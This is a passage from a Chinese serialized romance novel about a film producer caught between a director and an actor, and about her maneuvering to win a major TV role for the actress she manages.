路思舟也说不上来他对舒誉宁是什么感觉。他甚至有想过，如果舒誉宁刚刚问他，愿不愿意和她谈恋爱，他可能都会答应下来。或者说。只是单纯做对露水情侣，他也没问题。
只是他也琢磨不透，舒誉宁到底是什么想法。明明她也是乐意的，怎么偏偏卡在了最后一步？
曾经有个著名侦探说过一句话：“排除一切不可能，剩下的无论多么不可思议，一定是真相。”
而真相莫非是……傅明宇？
这一晚，舒誉宁彻夜未眠。她脑海里来来回回出现两张脸，一个是路思舟，另一个，是傅明宇。
为什么会是傅明宇？
出现路思舟的脸，她还能理解。她现在和路思舟的关系，本来就一团乱麻。
那傅明宇是怎么回事？难道是气自己今天吵架没发挥好？
和路思舟在车上也是，自己也鬼使神差地想到了傅明宇，破坏了自己和他的好事。
难道真的是因为自己现在太饿了？一道精致的omakase和一道经典的番茄炒蛋，选不出自己该吃哪道？
呵，明明在大人的世界里，是可以全都要的。
不对不对，这两个愿不愿意被自己吃还是个问题呢。
就这样，舒誉宁睁眼到了天亮。
挣扎着从床上爬起，舒誉宁没有去片场，而是去了越天珑家。
“叮咚——叮咚——”舒誉宁锲而不舍地摁着门铃，冒着被越天珑臭骂的风险，也要把越天珑从床上叫起来不可。
速度比她预计得快，门开了，只是开门的不是越天珑。
“小林？”
“老大……”
看小林慌张的样子，还有身上不成套，明显是抓到什么穿什么的上衣裤子。
敢情自己是打扰别人用餐了。<
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p>这时，主角才悠悠从楼梯走下来，满脸怨气地瞪着舒誉宁：“你最好是有天塌下来的大事，不然我一定把你扔出去。”
来都来了，现在走也不合适了。舒誉宁只能硬着头皮进屋，然后对小林说：“你先消失。”
这话让越天珑心情更不好了：“你擅闯我家，还让我的人消失。舒誉宁，你大清早说梦话呢？”
“你的人？”这话舒誉宁可不爱听了，她把小林叫回来，“林安捷，你说，你是谁的人？”
越天珑悠悠看了小林一眼，眼神里都是危险的信号：“想好了再回答。答错了，这辈子都不用出现在我面前了。”
小林简直想高呼，自己到底做了什么孽，要在这里受夹板气？
“两位姐姐，咱们有话好好说，别动气。”特别是别拿我撒气！
看起来，确实是一些小林不能听的东西。
越天珑还是放了小林一马，让他先消失。
“什么事儿啊，非要找我不可？”
“千杉在拍戏，阿May在出差，我只能找你了。”
越天珑翻翻白眼：“还是不拜我经纪人所赐，把几部找上门的戏都推了，我可不闲着吗？”
“那几部戏一眼烂好吧？我说了，既然是转型，我一定给你找最好的！”
“好好好。”越天珑能不知道舒誉宁是为了好吗？“话说回来，你到底找我干嘛？”
“我……我差点和路思舟睡了。”
“哟，可以啊，舒誉宁！”唠这个她可就不困了啊，不过，这个“差点”是怎么回事？
“说出来你可能不信。”舒誉宁招招手，让越天珑把耳朵探过来。越天珑无语，搞这么神秘，到底有什么大不了的事儿啊？
“什么？傅明宇？”
“嘘！你轻点！”
舒誉宁赶紧捂住她的嘴。虽然现在小林不在视线范围内，但说不定他能听到。被他听到了，舒誉宁还要想办法和他解释。
“我也是觉得自己见鬼了，好死不死，这个时候想起了傅明宇。一下进入贤者模式。”
越天珑在心里默默感叹，这对冤家，可真是天造地设的一对。
“舒誉宁，你这人平时不是挺克制的吗？怎么这会，马失前蹄了。”
“或许是你说的，空窗期太久了，想找人放松放松。”
这种事，越天珑可有经验了：“找人放松这事儿啊，还是找窝边草吧。知根知底，干净卫生，随吃随取。”
这不指的就是傅明宇？
“你这样‘物化’别人不好吧？”
“你怎么知道，他们不是上赶着‘物化’自己呢？”
舒誉宁有点明白越天珑的意思了。她拿起茶杯，发现里面已经空了。越天珑也没有给她添茶水的意思，摆明了是要轰她走。
“你还不走，是想看现场直播吗？我是不介意，我怕小林受不了。”
“我也受不了。行，我先走了，你让小林注意身体。拜拜~”
“滚！”
20. 第 20 章
在确定了舒誉宁的顾虑就是傅明宇之后，路思舟在拍戏之余，会默默观察他们俩。
他本以为在经过那次吵架以后，这俩人至少会冷处理一段时间。但很明显，他们都是体面人。工作的时候就是工作，没有任何不该有的隔阂。
也难怪，剧组的人只会传他和舒誉宁的八卦，而没人传傅明宇和舒誉宁的八卦。在不知情的人眼里，他们就是一对配合默契的工作搭档。
可在路思舟眼里，他们之间还是是不是会有些小别扭。
傅明宇明显想去哄她，但是都被舒誉宁蒙混过去了。她公事公办，私事免谈的态度，让傅明宇多少有点无奈。
路思舟觉得傅明宇真没用，这种小事都哄不好。
舒誉宁早就消气了，或者说，她也没有真的生气。
也不知道舒誉宁看上傅明宇什么，图他墨迹？图他拧巴？图他吹毛求疵，完美主义？
呵，完全比不上自己。
不过他也发现了，舒誉宁消化一件事的速度，异于常人。
按理来说，见到暧昧对象，特别是险些走火的暧昧对象，正常人都会尴尬的吧。
舒誉宁，没有。
这对他来说，未尝不是一件好事。
只要舒誉宁不躲着自己，那自己就有戏。
一天收工，路思舟再次在抹上香水。不同于上次清雅的木质香，这次他用了带有侵略性的皮革调香水，去找了舒誉宁。
“阿宁，主厨邀请我们再去他那里吃饭。今天有金枪鱼toro和海胆，特地留给我们。”
还没等舒誉宁回答，傅明宇走了进来。他直接略过路思舟，向舒誉宁发出邀请。
“你想去的那家泰式spa，我约好了，累了这么久，放松一下？”
路思舟扬起教科书般的微笑，提醒傅明宇：“傅导，先来后到。”
“先？你才认识她几天啊，就在我面前说‘先来后到’？”
舒誉宁看了两位在她面前争奇斗艳的两只公孔雀，只觉得他们很烦。
“哪也不去。明天千杉就要进组了，你们应该还有很多事情要对接。还有，从明天开始，我要陪越天珑去试镜，组里的事我会交给监制。至于你们二位，拍戏为上。”
既然她都全部拒绝了，两位男士也没必要留在这里自讨没趣。
路思舟主动侧身让路，对傅明宇做了个“请”的手势。
“傅导，请吧。”
“嗯。”
看在舒誉宁的面上，傅明宇还能在路思舟面前做到应有的礼节。
还没等他们出门，舒誉宁便叫住了路思舟。
路思舟得意地扬了扬眉毛，明晃晃地挑衅傅明宇：看吧，她在叫我。
“什么事啊，阿宁？”
“这款香水不适合你，闻起来很突兀，换了吧。”
路思舟看到了，傅明宇在偷笑。
“那就，换回上次那款，我记得你喜欢。这款是约会专用，下次，留到合适的场合，我再用。”
这句话听起来是对舒誉宁解释，实则在对傅明宇宣战。
果然，傅明宇的脸色又不好看了。
在这次修罗场中暂时获得胜利的路思舟，扬长而去。只留下舒誉宁和傅明宇面面相觑。
傅明宇忍不住，又是一副怨夫样：“你连他用什么香水都知道？”
“他就是喷给我闻的，我干嘛装不知道？你有意见？”
他哪敢啊？怕一句话说错，舒誉宁又生气。
“你倒是可以向他请教一些香水、妆发类的小知识，我看他挺在行的。”
“哦～”傅明宇恍然大悟，虽然不知道他悟到了什么。“原来你喜欢这个，那我学。”
什么跟什么？
她只是认为这些小知识在娱乐圈里是刚需，这人想哪儿去了？
会议室里，傅明宇和路思舟在按照舒誉宁嘱咐的那样，对接后续的拍摄计划。
等千杉回来了，拍摄工作会分组。而傅明宇会在千杉那组，路思舟的戏份由执行导演跟进。而最后戏份的剪辑，傅明宇会负责。
聊起工作来，两个人还是十分专业的，哪怕都看对方不顺眼。
而在工作之外，两个人之间仍然是电光火石。
“傅导，你是有什么话想跟我说嘛？”
“不管你有什么目的，别招惹舒誉宁。”
“这是我和舒制片之间的事情。导演，除了拍戏，你难道还管这个？”
“那你敢说，你没有别的目的？”
路思舟不再回答。傅明宇把他的沉默，解读为默认。
不管他是真情还是假意，傅明宇都不希望舒誉宁再次遭人背刺。
“希望你好自为之。舒誉宁曾经跟我说过，算计太多，是会被反噬的。”
说完，傅明宇头也不回的离开，只留下路思舟一个人留在会议室里独自煎熬。
“飞机已经进入滑行阶段，请各位乘客系好安全带，调直座椅背，打开遮光板……”
机舱广播里响起空乘的提示音。舒誉宁调整了一下坐姿，看着窗外发呆。
“这么憔悴？看来傅明宇和路思舟让你很头疼啊。”
坐在一旁的越天珑问空乘要了一个枕头，给舒誉宁垫着。
“烦死了，他们两个。”
“懂你。”
这点，越天珑再理解不过。
男人们总以为自己为一个女人争风吃醋，雄竞的样子很有魅力。其实恰恰相反，他们这个样子，只会让他们喜欢的女人感到不适。
舒誉宁摆摆手，她不想出差了还要提到他们两个。她问越天珑：“剧本看得怎么样了？现在可到了决赛圈，很关键的。”
她和越天珑漫长的等待终于有了结果。Z省的文艺基金会创投了一个电视剧项目，讲述的是一个白手起家的女企业家，面临市场转型、企业困境等一系列困难以后，站在行业顶尖的故事。
是市面上很少见的，以女性视角讲述的经商题材。由真人真事改编，这部剧的制作班底和剧本，一定也会是未来的拿奖热门。
这个角色一旦拿下，不仅越天珑能成功转型，还能跻身主流影视圈。
不过吗，好东西人人抢着要。制作方筛选了几个月的女演员，据说现在，只有她和另一位女演员在竞争这个角色。
今天她们就要飞往Z省的H市，去见制作方和这位女主角的原型，赵启程。
制作方的保密工作做得很好，另一个竞争的女演员，舒誉宁怎么打听也打听不到，都不知道怎么准备。
“安啦。”倒是越天珑，先宽慰起了舒誉宁。“做好我们自己这部分不就行了？我觉得我赢面很大，人家赵董可是点名要见我！”
这番话，也给了舒誉宁莫大的信心。
越天珑能一路杀到决赛圈，也正是因为赵启程看到了她写的人物小传。
在影视剧开机前，演员都会根据自己对角色的理解，写一份人物小传，交给制片方。别的女演员在写这篇人物小传，内容都大差不差，什么“努力”“刻苦”“女人不易”。
只有越天珑，能在这些千篇一律设定中，看到不一样的东西。
她写道：这个时代，允许女人有野心。但是当野心一旦被满足以后，迎来的一定是她内心无比的膨胀与自大。这无关性别，只与人性有关。
这句话，一下就戳到了赵启程的内心。
她当晚就联系到了越天珑，在电话那头，她说了很多。她说自己当年就是太过自大和膨胀，让她忘记了：商
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海沉浮，走错一步，粉身碎骨。
要不是吃到了教训，让她及时清醒，不然现在很可能就没这个故事了。
她认为，越天珑把这个故事解读得很透彻，也看到了她身上的野心，直夸她有自己当年的风范。希望和她见一面，顺利的话，就把这部戏敲定下来。
刚从机场的VIP通道走出来，两个壮硕的保镖便请他们上了一辆迈巴赫。
“赵董，你怎么还亲自来接我们呀，多不好意思！”
“你们是客人啊，我只是略尽地主之谊。别叫赵董，叫我姐！”
“好，程姐。”
私下里的赵启程并不是大众刻板印象里的，剪个短发，涂个大红唇的女强人。她穿着一身苏绣花鸟旗袍，一头长发用一支木簪挽着。看上去温婉动人，只有眼里，有那不可一世的锐气。
“我带你们去我的私人会所，导演他们都在那里等着。虽然是工作场合，但不要太紧张。好好吃好好喝。等合同签下来了，我带你们去我朋友开的酒吧，给她捧捧场。这几天你们在H市所有的消费，都算我的。”
“谢谢程姐，那我们可就不客气了。”
“千万别客气！”
看得出来，赵启程很喜欢越天珑。整场试镜，她一直在帮越天珑说好话。只是导演的态度暧昧，看来他们还是想再见见另一个女演员。
还没等舒誉宁和越天珑说什么，赵启程不乐意了：“怎么，我说话不好使了？”
导演尴尬地赔笑：“赵董，不是这个意思。另一个女演员已经在路上了，至少见一面，总不能让人白跑一趟不是。”
“谁让你们把她约过来的？我有说要见她吗？”
赵启程不愧是混商界的，说话的力度和气场不是娱乐圈的人能比的，一句话就把导演堵死。
倒是越天珑，见缝插针地当起了和事佬：“姐，我也觉得您应该见一面。说不定，见了她，你会觉得我更好了！”
这句话逗得赵启程哈哈大笑：“你啊你，这机灵劲儿。还好不是做生意的，不然我可都要输给了。”
“我要是做生意，那肯定和您合作共赢，没有输家。”
太厉害了，越天珑。舒誉宁在一旁听着，都想给她鼓掌。
她情商太高了，既没有贬低对手，又夸赞了自己。给了导演台阶下的同时，还捧了赵启程。
被越天珑哄开心了的赵启程，语气也软了不少：“导演，虽说资方推荐的人，我应该见一面。但是你别忘了，这部剧的另一个投资方是我们省的文艺基金会。基金会的理事长，你知道是谁吧？”
她都这么问了，导演再装傻就不合适了：“当然，赵董。到时候肯定也少不了麻烦贵基金会的地方，还希望您能多多帮忙。”
时间差不多了，舒誉宁和越天珑也该走了。赵启程帮他们联系好了车子，随时可以出发。
地下车库里，她们看到，从一辆保姆车里，下来一个人，很快钻进了电梯里。如果没猜错，这人就是导演口中的“另一个女演员”了。
只是她穿得低调，还戴着口罩和墨镜，看不清是谁。
“卧槽！真是冤家路窄！”
虽然那个身影一晃而过，但越天珑还是认了出来。
“谁啊？”看来这人和越天珑有过节。
“满月！”
“导演说的另一个女演员，竟然是她？”
舒誉宁也震惊了。这人就是曾经给越天珑扣上“小三”帽子，提纯大量CP粉的女演员。还好越天珑自己命硬，不然早就因为这盆脏水，被网暴得退出娱乐圈了。
“舒誉宁！”越天珑一下握紧舒誉宁的手。舒誉宁感觉到，她在发抖。
“放心。”舒誉宁回握住她，“这次，一定让她输得很难看！”
21. 第 21 章
既然满月是投资方推的人，想踢她出局，就得先摸清投资方的底细。
舒誉宁查了一下，这个投资方在业内有点地位，不少平台的S级制作，都有他们的投资。有他们作保，满月的赢面不小。
舒誉宁把她查到的资料给越天珑看了，想和她商量一下接下来该怎么做。
“诚品影视……好像跟刘三强蛮熟的！”
“这么巧？”娱乐圈果然是个圈，兜兜转转总能碰上有交情的人。
既然刘三强认识，那就让他去卧个底，刺探一下敌情。
“他会愿意？”
越天珑表示很怀疑。她和刘三强的解约，闹得蛮难看的。刘三强怎么会愿意帮她这个忙？
“试试不就知道了。”
舒誉宁拨通了刘三强的电话。
三声之内，他便接起来了。
舒誉宁掐着嗓子喊他：“海枫哥～～～”
“恶不恶心？有屁就放！”
“海，枫，哥~~诚品影视要卡越天珑的一个大女主，你帮帮忙吧！”
一旁的越天珑做了一个浑身起鸡皮疙瘩的动作，也不知道舒誉宁是从哪条声带里夹出这个声音的。
“她经纪人不是你吗，这种小事都做不到？”
刘三强嘴上冷嘲热讽的，但舒誉宁听出来，他这是让她继续往下说的意思。
“你知道诚品这次推的人是谁吗？”
“谁啊？”
“是满月！”
“卧槽！”
舒誉宁都能想象，电话那头的刘三强一定是跳起来了。
“竟然是那小贱人？”
此时的刘三强，又变成了一只讨人嫌的绿头鸭子。
舒誉宁也终于回复了正常声调：“所以你帮不帮？”
“呵，关我屁事？这不是你们和那小贱人的恩怨，别想拉我下水。”
“你别一口一个小贱人的，嘴上积点德。”舒誉宁是听不得刘三强用这么难听的字眼，去骂一个女生。“满月做人是不地道，但是你敢说，她给越天珑买的黑热搜热度这么高，你没出一份力？”
刘三强心虚了。
越天珑大概懂了，舒誉宁为什么会给刘三强打这个电话。她就是想翻这个旧账，越天珑和满月能成为死对头，这件事，他有着不可推卸的责任。
这是他刘三强永远欠越天珑的。现在，他补偿的机会来了。
“那你要我怎么做？”
“简单。你只需要和诚品的负责人吃吃饭，喝喝酒。打听一下，他们为什么推满月上去。酒钱饭钱我报销。”
“看不起谁呢！”刘三强骂了一句，“等着，这种小事儿，我分分钟给你搞定。”
刘三强效率确实高，只过去一个晚上，就把这件事搞定了，顺便还问出了不少内幕。
“具体的，我会让我助理整理成邮件发给你。情况呢，比你想象得复杂。但是，我仁至义尽了，别再想道德绑架我。”
“这点道理我当然懂，谢谢海枫哥。”
撕资源的事，就该现任经纪人出马了。
舒誉宁在一堆繁杂的资料中，很快理清了脉络。
这次的电视剧，明面上看是赵启程的文艺基金会的创投项目，但是整个剧的制作是诚品负责。导演、编剧都是诚品找来的，等电视剧一开机，他们就会把这个剧本改成自己的。如果赵启程有异议，随时都可以把他们的投资清走。为了达到这个目的，演员自然也需要用到自己人。
满月这几年，事业发展得还算顺利，只不过还停留在吃CP粉的老本上，也需要转型。因此，她的经纪人帮她联系到了诚品。
阴差阳错的，再次对上越天珑。
越天珑了解后，问舒誉宁：“你猜猜，诚品会把这剧改成什么样？”
“你不是猜到了吗？”
这种事，她们俩心照不宣。
世界上，总有这么一些人。他们仿佛是清朝穿越来的僵尸，看起来，他们过着现代化的生活，接受着现代化的教育，脑子的东西里却是迂腐不堪，落后至极。
就像诚品的导演和编剧。他们根本不相信，女人，能做出一番事业。
这剧本在他们手里，一定会被改成恶俗的狗血剧。
赵启程会从一个新时代的女企业家，被捏造成一个依附男人的小娇妻。说不定还会给她安排一个忘不掉的初恋、放不下的前夫和永远压她一头的男性竞争对手。
这个，在昨天碰面的时候，舒誉宁就发现了。
导演很没水准地问了赵启程一个问题：“赵董，您当初为什么选择挣钱？”
这个问题，硬是把舒誉宁、越天珑和赵启程这三个人问懵了。
在他眼里，女人挣钱，竟然需要一个理由。
赵启程后来的回答也很解气：“老娘就是想挣钱，不行吗？”
不过这些归根结底，还是舒誉宁的猜测，要想拿下这部剧，得保证赵启程站在他们这一边。
她了解到，这部剧现在的投资是1500万，诚品占了6成，约摸在900万。
舒誉宁马上联系了财务，让他们用最快的速度，给她调2000万资金出来。
越天珑都被她这番操作给惊呆了：“哟，大出血啊。用不了这么多钱吧？”
“这笔钱买的是赵启程的信任。她是生意人，那就用做生意的思维和她谈。娱乐圈那套，未必行得通。”
资金调出来以后，舒誉宁拿着资料和钱，上门拜访了赵启程。
“程姐！”
“怎么有空来我这儿？坐。”
赵启程的办公室不像一些老男人那样，放一堆红木家具，风水摆件，还很做作地放一排红酒。相反，她的办公室装修地很潮流。
整体是昂贵的美式轻奢风的装修风格，角落里有冰箱、咖啡机、空气炸锅，大大小小的手办、盲盒摆了一堆，墙上还挂了几幅村上隆的太阳花。
“喝果汁？”
“都可以。”
果汁上来了，意味着舒誉宁可以开始今天的话题了。
“程姐，这是我查到的一些资料。我觉得，您可以重新选个制作方。”
赵启程都没有翻开看，在她眼里，这些资料暂时说明不了什么。她更想看到，舒誉宁能给她什么。
“我查过，贵基金会的成员，有九成是女性。Z省也是全国，女企业家最多的省份。我虽然不是Z省人，但是我可以作为外省的一份子。以我开始，你可以将基金会的影响力，慢慢扩大到全国。”
“这和把诚品换掉，是两码事哦。”
“一码事。”舒誉宁强调了这层意思。“导演不听话，就换导演。投资方不老实，就撤掉投资方。女演员不满意，直接换个自己喜欢的。重要的是，不能让别人欺负到我们头上。您成立基金会的初衷，不就是这个吗？”
赵启程终于把资料打开了。她看得很慢很仔细，只是脸上的表情从未改变一丝一毫。她如此淡定，大概是在她的职业生涯里，诚品这样的合作方，见得太多了。
“哇哦，2000万？”
她翻到最
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后一页，那是一份基金会的入会协议。
只要赵启程愿意，舒誉宁可以将这部分投资捐入基金会，在以基金会的名义投资到电视剧中。也就是说，基金会将是电视剧的唯一出品方。
“妹妹，你要搞清楚一件事。电视剧赚钱了，没你份。但是如亏钱了，你这2000万，可就打水漂了。这种折本生意，你要做？”
“程姐，你会让我折本吗？”
“哈哈哈。”赵启程笑了，是那种很畅快很肆意地大笑。“阿宁，你哪天在娱乐圈呆烦了，随时跟我说。我新加坡的分公司，还差个执行总裁。”
“那敢情好。我们强强联手，拿下东南亚！”
拿下东南亚之前，先拿下的是越天珑的大女主。
舒誉宁和越天珑正打算找赵启程一起庆祝，满月却找上门了。
舒誉宁挡在了越天珑面前：“满月老师，有什么事情请先联系我这个经纪人。”
满月恶狠狠地瞪着她：“没你的事，滚开！”
越天珑拦住了舒誉宁，阻止了即将爆发的扯头花大战。
“阿宁，这是我们之间的事，总是要解决的。你先去外面等我。”
“可是……”舒誉宁眼里布满了担心。
越天珑拍了拍她的手背，让她安心，告诉她：相信我。
等舒誉宁走了，越天珑才正眼看着满月：“你找我麻烦有什么用？这部戏已经不可能让你演了。”
“越天珑，你就这么恨我吗？”
也不知道满月怎么想的。她居然认为，越天珑争取这个角色，是因为恨她？
“满月，你别太拿自己当回事儿了。我是很恶心你拿我当垫脚石，提纯CP粉这事儿。但我可没想过报复你。不然，你以为你还能在娱乐圈混？”
满月不说话了。她其实和越天珑没什么交集，只是因为她和越天珑同期出道。所以有些挑事的媒体，会把她们放在一起拉踩。
渐渐地，她也就恨上了这个假想敌。
为了快速攒人气，她找了个男演员炒CP。又好巧不巧，这个男演员又在追越天珑。
她想着，那就把他俩一起轰出娱乐圈吧。
男方是被她轰出去了，她也如愿以偿，在口碑和人气上，压了越天珑一头。只是没想到，越天珑命这么硬，这都没能搞走她。
“满月，你最大的问题，就是急。”
太急于求成，所以走了炒CP这个捷径。但是CP粉是双刃剑，他们会因为这对CP爱你，同样就会因为这对CP处处苛责你。
在满月后来的职业生涯里，她永远有一个隐形的男友。她哪怕只是和别的男演员同框，那些被提纯的CP粉就会特别暴躁，认为她也背叛了他们。
为了彻底洗掉炒CP的标签，她同样很着急。诚品不是个好的合作方，他们想做什么，她也知道，但她还是甘愿做他们的傀儡，去诓骗赵启程。
“你以为你拍了这部戏，就能转型了？诚品不消耗你的人气就不错了。他们这种一边趴着女人身上吸血，一边看不起女人的合作方，也就你傻，愿意上他们的当。”
“你以为我乐意吗？”满月吼了出来。她红了眼眶，眼里满满的都是不甘心。“越天珑，你的命怎么就这么好？”
这句话逗笑了越天珑：“如果你把一切都归结于我命好、你命苦。那么，以后等着你的，是那个和你炒CP的男人，一样的下场。”
时间差不多了，越天珑背上包，出门去找舒誉宁汇合：“言尽于此。你再来骚扰我，我要你好看！”
22. 第 22 章
热闹的酒吧里，霓虹闪烁，赵启程订了最大的包厢，给舒誉宁和越天珑庆祝。
“啪，啪。”赵启程拍了拍手。
应声而来的，是一群风华正茂的男模。
“随便挑，后面还有。”
H市的男模可是出了名的，被誉为H市特产。今日一见，果然名不虚传。
这也说明了H市富婆的含量，在这里，男性才是客体。
赵启程挥挥手，几个男模便很懂事地上前，给她们倒酒，分水果。饶是舒誉宁和越天珑见多识广，也被这阵仗给惊得不知道做什么好。
“知道你们是混娱乐圈的，没少见帅哥。所以我给你们找来了全城素质最高的男模。不止长相和身材，职业素养也是一流的。他们都没带手机，不会偷拍。”
看她们俩还拘着，赵启程干脆坐下给她们做起了思想工作：“就是喝喝酒聊聊天，又不干嘛。我们女人赚钱不就是为了让自己开心吗？”
有道理。
在舒誉宁还在适应这个场合的时候，越天珑已经在一群男模中如鱼得水，熟练地和他们划拳、摇骰子。
她忍不住拿越天珑打趣：“小林看到，怕不是要伤心了。”
“你等着。”
越天珑掏出手机，给自己和男模们拍了几个视频发了过去。
很快，就收到了小林的回复：“姐姐好好玩，我在家里等你。”
越天珑冲舒誉宁得以地挥挥手机：“看到没，他这会都把自己哄好了。”
估计小林正在自我催眠：外面的都是逢场作戏，只有我才是家。
越天珑把舒誉宁招呼过来：“来都来了。他们这几个哪个不比傅明宇、路思舟听话？来来来，你们过来，好好陪陪这个姐姐。”
这再抗拒，就不礼貌了。
零点，正是酒吧里最热闹的时候。赵启程把她俩从包厢里喊出来，让她们从高处往下看，睥睨着舞池里的男男女女。
“别看他们只能坐在大厅，这里面随便一个人，手上都有百万、千万的资产。”
赵启程递给舒誉宁和越天珑一人一沓金色的纸：“知道这个怎么玩儿的吧？”
她们点点头。伴随着DJ奏响的强劲的音乐，她们把这沓纸撒了出去。
从天飘下的金色纸花，将现场气氛推向最高点。舞池里的所有人，抬起手，试图抓住这些纸醉金迷。
舒誉宁站在这里，神情有些恍惚。很快，金色的光芒映衬在她的眼里，那刹那的光，如同战火。
原来这就是站在顶端的感觉。
“阿宁，我一直想问你一个问题。”
“您说。”
“你给我这2000万，到底是为了加入我的基金会，还是在拉我入伙？”
舒誉宁招呼来服务员，给她们倒了两杯酒。她将其中一杯递给赵启程：“这要看，程姐你乐不乐意？”
赵启程了然。她接过酒杯，和舒誉宁手里的那杯相碰。
第二天，她们是坐赵启程的私人飞机回去的。整架飞机只有她们两个乘客。
赵启程的财富，再一次突破了舒誉宁的想象力。
“我现在可真不想离开H市！”
“看你没出息的样子。你要想，我们迟早也会拥有。”
越天珑按了一下座椅扶手上的按键，全自动真皮按摩座椅会根据人体的情况，自动调整到最佳角度，并开始仿真人手按摩。
空乘递上了全棉拖鞋、毛毯、饮料和私人订制的餐食。
与其说这是架飞机，不如说这是一家在空中飞行的私人会所。
不过再舒服的日子，也有结束的一刻。
这一点，在舒誉宁下飞机的瞬间，便感受到了。
小林提前在停车场等她们，除了他，傅明宇也跟过来了。
“不好好拍戏，跟过来干嘛？”
“看看你这几天是不是得意忘形了。”
对上小林和越天珑一脸“有瓜吃”的表情，舒誉宁不想和他多废话，连拖带拽把他拉上了车。
开着车的傅明宇，冷不防地提起越天珑拍的那个视频的事情。她给小林发微信的时候，他正巧在旁边。他没有小林这么会哄自己，emo了一整晚。
舒誉宁看他这么在乎男模的事情，心情更好了。她故意说：“你要是再惹我生气，我就点个十个八个男模，把脸埋在他们胸肌里哭！”
一听这话，傅明宇马上不emo了：“明白，明白。”
出差了这么久，舒誉宁只想回家，倒头就睡。
傅明宇帮她把行李放好，帮她倒水，拿拖鞋。
但是怎么看起来怪怪的。
“视频里不就这样的吗？”
难怪他看起来这么奇怪，原来他是在模仿那些男模，半跪式服务。
舒誉宁只觉得好笑：“赶紧起来吧，你就不是伺候人那块料。我可没小费给你。”
“我免费！”
“好啦！”舒誉宁把他从地上捞起来，自己麻利地换上拖鞋。“我想睡了，你早点回片场吧。不能制片不在，导演也不在。”
“知道了，卷王！”
昏睡了将近一天一夜的舒誉宁，精神焕发。早起特地化了一个干净的通勤妆，用卷发棒弄了几个俏皮的小波浪，出发去了片场。
许久未见的千杉本来在一遍候场，一看到她来了，就絮絮叨叨说了好多的事情。大到拍戏情况，小到昨天晚饭吃了什么。
正聊着，舒誉宁看到不远处有个陌生的男人，看上去在等路思舟收工。
这个男人看上去文质彬彬，戴着眼镜，头发用发胶抓成一个三七分背头。身上穿了条西装大衣和黑色羊毛呢西装裤，一只手插在口袋里，另一只扶了扶眼镜。
哪怕是隔着距离，舒誉宁依然能感受到这个男人身上的威压。打扮这样细致，一丝不苟的男人，通常都不好惹。
“这人谁啊？”
千杉压低了声音，伏在舒誉宁的耳边：“路思舟的经纪人。你出差后没几天，他就跟组了。每天盯着拍摄进度，跟监视器似的。但什么也不说，不知道打什么算盘。”
这部电影的开拍好久了，怎么经纪人才过来跟组？
看来另有目的啊。
还是他先过来给舒誉宁打了招呼：“您就是制片人，舒老师吧？我是图钧，思舟的经纪人。”
“图钧哥你好，不用叫我舒老师，叫我阿宁就行了。”
“阿宁，我们思舟第一次拍电影，估计给你造成不少麻烦吧？希望你别往心里去，这孩子，轴得很。”
这话是什么意思？
看似是道歉，但怎么听怎么像下马威。
“当然不会。要是真有什么事儿，我一定先跟你沟通。”
“应该的。”
图钧全程笑着，笑得很礼貌，又让人不寒而栗。让舒誉宁想到一个很贴切的形容词——笑面虎。
自从图钧来了以后，路思舟老实了很多。有时候路思舟想过来和舒誉宁说说话，图钧总会很巧地撞上来。
而路思舟就会像早
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恋被抓的小孩一样，默默退到一边。
整个拍摄工作，就这样在诡异的安宁中如期进行着。
不知不觉，千杉也拍了一个月了。男女主的素材都攒到了可以剪辑的数量。
傅明宇一直的工作准则是，好电影，三分拍，七分剪。剪辑也都是他亲力亲为。
终于，图钧这只笑面虎，暴露了他真面目。
“傅导辛苦了，剪辑可以让我们来负责，傅导的压力也小一点。”
“你什么意思？”
傅明宇的态度很冰冷。在这个问题上，他绝不退让。
“就是这个意思。傅导，你安心拍摄，剪辑这种小事。我们来操心就好。”
还没等傅明宇说什么，他身后响起了一个给他无限力量的声音。
“电影无小事。”
舒誉宁一听到图钧去找了傅明宇，马上赶了过来。拍电影是傅明宇的专长，但和人互撕打嘴仗，他可就不行了。
她拉开椅子，坐了下来：“图钧哥，聊剪辑这么重要的事，怎么不通知我这个制片？”
“你这不是来了吗？”
图钧也没指望能瞒着舒誉宁，只是在他没想到，舒誉宁会来得这么快而已。
“你对傅导的剪辑有什么不满意，得先跟我说，我再和导演沟通。你作为经纪人，不会这点流程还不清楚吧？”
“你日理万机，这种小事怎么还能麻烦你？”
“我说了，电影无小事。剪辑的事情，我们谁说都不算，听导演的。”
傅明宇的话直截了当：“如果你干涉剪辑，这部电影我不拍了。”
“傅导你这是要违约啊？阿宁，你这个制片人还不得劝着点。”
“导演的态度，就是我的态度。”
早就料到他们会这么说，图钧也不着急：“你知道，我们和大鹅影业的关系吧？”
这部电影，是大鹅影业出品。路思舟，又是大鹅影业塞进来的人。他们和大鹅影业的关系，不言而喻。而且从路思舟的履历上来看，图钧背后的靠山，只会比大鹅影业更厉害。
“我知道又怎么样。还是那句话，导演的态度，就是我的态度。图钧哥，我们先去忙了。”
哪怕今天他就是要封杀他们，舒誉宁也不能被他这么威胁。
他们想要剪辑，无非想把路思舟的戏份剪到一番的位置。
舒誉宁入行以来，最不齿的就是撕番这种事。一群演员或者是他们的团队，从来不去考虑电影的质量，哪怕只是为了比其他人多几秒镜头，也要“大打出手”。
现在倒好，撕番撕到她头上来了。舒誉宁要是让他们得逞，她就干脆不在圈里混了。
一转头，舒誉宁和傅明宇撞上了着急忙慌的路思舟。
“阿宁，你有时间吗？”
“没有。”舒誉宁不想和他有任何瓜葛，脚步不停地向前走。
路思舟想拉住她，却被傅明宇挡在了前面：“怎么，还想动手？”
“傅导，我，我不是。阿宁，你就给我一会儿时间，一会儿就好。”
舒誉宁居然在一向玩世不恭的路思舟的语气里，听到了哀求。
她长长地糊了一口气，拍了拍傅明宇的手臂：“放开他吧，我跟他聊聊，”
傅明宇迟疑了一会儿，但还是照做了。他警告似地瞪了路思舟一眼，便先离开了。
再次上了路思舟的保姆车，只不过先前暧昧的氛围，在此刻，荡然无存。
“阿宁，我对你是真心的。”
23. 第 23 章
听到路思舟突如其来的告白，舒誉宁简直想笑。
“你期待我有什么反应？”
“我没期待你有任何反应。”路思舟的声音闷闷的，“我只知道，今天不说，恐怕以后再也没机会说了。”
“你们从一开始就是抱着撕番这个目的，来进组的吧？”
路思舟默认了这件事。
“我不管你和图钧背后有什么大佬，大鹅影业怎么对我施压。在我这里，要么，你老老实实拍戏，要么，掀桌。没有第三个选项。”
舒誉宁把该说的话都说完了，便打算离开。
刚转过身，就被路思舟喊住了。
“我承认，一开始接近你，只想试探一下你。只是没想到，有点过火。”恐怕连路思舟自己也说不清，什么时候自己对她真的动了心。“我想知道，你对我，动过心吗？”
